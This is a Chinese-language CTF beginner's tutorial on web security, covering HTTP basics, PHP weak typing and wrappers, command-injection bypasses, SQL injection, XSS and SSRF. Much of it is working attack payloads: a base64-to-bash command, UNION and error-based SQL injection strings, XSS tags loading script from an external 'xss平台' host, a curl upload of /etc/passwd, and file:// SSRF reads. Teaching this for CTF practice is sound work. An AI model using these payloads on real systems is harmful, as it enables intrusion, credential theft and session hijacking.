CTF实战入门
字数 2853
更新时间 2025-08-19 12:41:40

CTF实战入门教学文档

一、Web基础

HTTP请求方法

  • GET:获取服务器资源
  • POST:发送数据,常用于更新资源
  • PUT:新增数据记录
  • PATCH:修改数据记录
  • DELETE:删除数据记录
  • HEAD:判断资源是否存在
  • OPTIONS:获取资源约束信息

HTTP请求头分析

  • Referer:请求来源页面
  • User-Agent (UA头):包含操作系统、浏览器等信息
    • 用于设备适配或访问控制

HTTP响应状态码

状态码 含义
101 协议切换(如HTTP→Websocket)
200 请求成功
201 资源创建成功(PUT响应)
204 无内容返回(网络检测)
301 永久重定向
302 临时重定向
404 资源不存在
405 方法不被允许
500 服务器内部错误
502 网关错误(后端不可达)
504 网关超时

URL结构分析

https://url/read-6951.html?a=1&b=2#tag5
  • scheme:协议(HTTP/HTTPS/FTP)
  • userinfo:认证信息(用户名:密码)
  • host:服务器地址/域名/IP
  • port:端口(HTTP:80, HTTPS:443)
  • path:资源路径(/read-6951.html)
  • query:请求参数(a=1&b=2)
  • fragment:页面锚点(不被发送到服务器)

HTTP响应头

  • Set-Cookie:服务器设置客户端凭证

实战案例:本地访问限制绕过

  1. 使用X-Forwarded-ForX-Client-IpX-Real-Ip等头伪造IP
  2. 构造请求获取关键信息(如用户名密码)

目录扫描工具Dirsearch

python dirsearch.py -u https://url -e * -w /path/to/dictionary.txt
  • -u:目标URL
  • -e:扩展名(*为通配符)
  • -w:字典路径

二、PHP安全

弱类型漏洞

原理

  • 不同类型可相互转换
  • 转换规则:
    1. 能转换则转换('1test'→1)
    2. 同类型可转换则转换('1'和'01'→1和1)
    3. 同类型不可转换则字符串比较('a'和'1a')

MD5/HASH漏洞利用

条件

  1. MD5(值)结果为"0e"开头
  2. "0e"后全为数字
  3. 使用弱比较(==)

示例
0e123 == 0e234 → true(科学计数法)

PHP伪协议

常用协议

  • php://filter:文件包含时编码输出
  • data://:直接包含数据

payload示例

?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

代码执行函数

  1. eval():执行PHP代码
  2. assert():直接执行输入为代码
  3. array_map():回调函数执行
  4. 动态函数调用$_GET['method']()

正则替换漏洞

preg_replace('/('.$re.')/ei', 'strtolower("\\1")', $str);
  • e修饰符:替换部分作为PHP代码执行

payload构造

?\S*=${getFlag()}&cmd=system('ls /');

反序列化漏洞

关键函数

  • serialize():序列化对象
  • unserialize():反序列化
  • __wakeup():反序列化时调用
  • __destruct():对象销毁时调用

利用步骤

  1. 构造恶意序列化数据
  2. 触发反序列化
  3. 利用魔术方法执行代码

三、常见Web漏洞

命令执行绕过技巧

  1. 空格过滤绕过

    • %09(tab)
    • %0a(换行)
    • ${IFS}
    • $IFS$9
  2. 关键字过滤绕过

    • 替代命令:tacmore
    • 引号分割:ca"tca""tca\t
    • 十六进制:$(printf "\x6c\x73")(等于ls)
    • Base64编码:echo Y2F0IGluZGV4LnBocA==|base64 -d|bash
    • 通配符:cat fl?gcat f*
    • 变量拼接:a=c;b=at;$a$b

SQL注入

关键知识点

  1. information_schema数据库:

    • schemataschema_name(数据库名)
    • tablestable_schematable_name
    • columnstable_schematable_namecolumn_name
  2. 字符串拼接函数

    • concat():行数据拼接
    • group_concat():列数据拼接
  3. 报错注入函数

    and updatexml(1, concat(0x7e, (select version()), 0x7e), 1)
    
    • 参数1:无效XML文档(触发错误)
    • 参数2:XPath表达式(含注入payload)
    • 参数3:无效更新内容(触发错误)

注入步骤

  1. 判断列数:order by
  2. 获取数据库名
  3. 获取表名
  4. 获取列名
  5. 获取数据

XSS漏洞

类型

  1. 反射型:参数控制输出
  2. 存储型:恶意代码存入数据库
  3. DOM型:用户输入作为JS执行

HTML事件利用

  • onerror:资源加载失败
  • onload:资源加载完成
  • onmouseover:鼠标悬停
  • onfocus:元素获取焦点

绕过技巧

  1. 大小写混合<sCRiPt>
  2. 注释分割/**/<script>
  3. 编码绕过:十六进制/Base64

SSRF漏洞

危险函数

  • file_get_contents()
  • readfile()
  • fsockopen()

危险协议

  • file://:读取文件
  • gopher://:多种协议封装
  • dict://:字典协议

利用步骤

  1. 验证SSRF存在
  2. 读取/etc/hosts获取内网IP段
  3. 扫描内网主机和端口
  4. 构造针对性攻击

curl命令使用

# GET请求
curl http://example.com

# POST请求
curl -X POST -d "data=value" http://example.com

# 文件上传
curl -F "f=@/etc/passwd" http://example.com/upload.php

四、实战案例解析

1. 本地访问限制绕过

步骤

  1. 使用X-Forwarded-For头伪造IP
  2. 获取关键凭证信息

2. 文件包含漏洞

payload

?file=php://filter/convert.base64-encode/resource=index.php

3. 命令执行绕过

payload

cat$IFS$9`echo$IFS$9ZmxhZy5waHA=|base64$IFS$9-d`

4. SQL注入

payload序列

  1. 判断列数:?id=1 order by 2
  2. 获取数据库名:?id=-1 union select group_concat(schema_name),2 from information_schema.schemata
  3. 获取表名:?id=-1 union select group_concat(table_name),2 from information_schema.tables where table_schema='database'
  4. 获取列名:?id=-1 union select group_concat(column_name),2 from information_schema.columns where table_name='table'
  5. 获取数据:?id=-1 union select column,1 from table

5. XSS攻击

反射型payload

?name=</tEXtArEa>'"><sCRiPt sRC=//xss平台></sCrIpT>

DOM型payload

';</scirpt><script sRC=//xss平台>//

6. SSRF利用

文件读取

?url=file:///var/www/html/flag.php

内网扫描
使用Burp Suite Intruder模块扫描8000-9000端口

相似文章
相似文章
 全屏